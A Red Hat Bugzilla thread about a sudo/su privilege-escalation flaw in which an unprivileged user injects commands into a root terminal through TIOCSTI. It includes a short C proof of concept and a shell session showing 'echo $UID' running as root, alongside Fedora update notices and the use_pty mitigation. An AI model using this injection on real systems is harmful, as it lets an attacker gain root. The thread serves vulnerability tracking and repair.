Red Hat Bugzilla – Bug 479145
(sudo -u less_privileged_user command) privilege escalation
Last modified: 2010-09-29 03:11:50 EDT
Summary of the public information:
Francesco Ongaro presented on CCC Congress 2008 a way to inject commands to TTY buffer, that may lead to privilege escalation when higher privileged user runs untrusted command controlled by a lower privileged user via sudo:
The issue was previously described by Russell Coker in 2004:
and similar problem was fixed in coreutils' su command (fix included in RHEL5 and later):
Upstream sudo bug report:
This message is a reminder that Fedora 10 is nearing its end of life.
Approximately 30 (thirty) days from now Fedora will stop maintaining
and issuing updates for Fedora 10. It is Fedora's policy to close all
bug reports from releases that are no longer maintained. At that time
this bug will be closed as WONTFIX if it remains open with a Fedora
'version' of '10'.
Package Maintainer: If you wish for this bug to remain open because you
plan to fix it in a currently maintained version, simply change the 'version'
to a later Fedora version prior to Fedora 10's end of life.
Bug Reporter: Thank you for reporting this issue and we are sorry that
we may not be able to fix it before Fedora 10 is end of life. If you
would still like to see this bug fixed and are able to reproduce it
against a later version of Fedora please change the 'version' of this
bug to the applicable version. If you are unable to change the version,
please add a comment here and someone will do it for you.
Although we aim to fix as many bugs as possible during every release's
lifetime, sometimes those efforts are overtaken by events. Often a
more recent Fedora release includes newer upstream software that fixes
bugs or makes them obsolete.
The process we are following is described here:
I'm going to open this bug, as it's doing us any good closed up.
This issue has been pointed out again (this time in su) here:
root@quadstation # cat /root/cnuprivesc.c
fake_input(int fd, const char *msg)
for (; *msg; ++msg)
if (ioctl(fd, TIOCSTI, msg) != 0)
int main(int argc, char **argv)
fake_input(0, "echo $UID\n");
root@quadstation # su - redeeman
* keychain 2.7.0 ~ http://www.funtoo.org
* Found existing ssh-agent: 9642
* Found existing gpg-agent: 9667
* Known ssh key: /home/redeeman/.ssh/id_dsa
redeeman@quadstation # exec /cnuprivesc <-- this is the last thing i manually do
root@quadstation # echo $UID
sudo-1.7.4p4-1.fc12 has been submitted as an update for Fedora 12.
sudo-1.7.4p4-1.fc12 has been pushed to the Fedora 12 testing repository. If problems still persist, please make note of it in this bug report.
If you want to test the update, you can install it with
su -c 'yum --enablerepo=updates-testing update sudo'. You can provide feedback for this update here: https://admin.fedoraproject.org/updates/sudo-1.7.4p4-1.fc12
sudo-1.7.4p4-2.fc12 has been submitted as an update for Fedora 12.
sudo-1.7.4p4-2.fc12 has been pushed to the Fedora 12 stable repository. If problems still persist, please make note of it in this bug report.
Just for future reference...
sudo was extended to allow allocation of new pty for commands run with target user privileges. Use of additional pty is controlled by use_pty option, which is currently not enabled by default.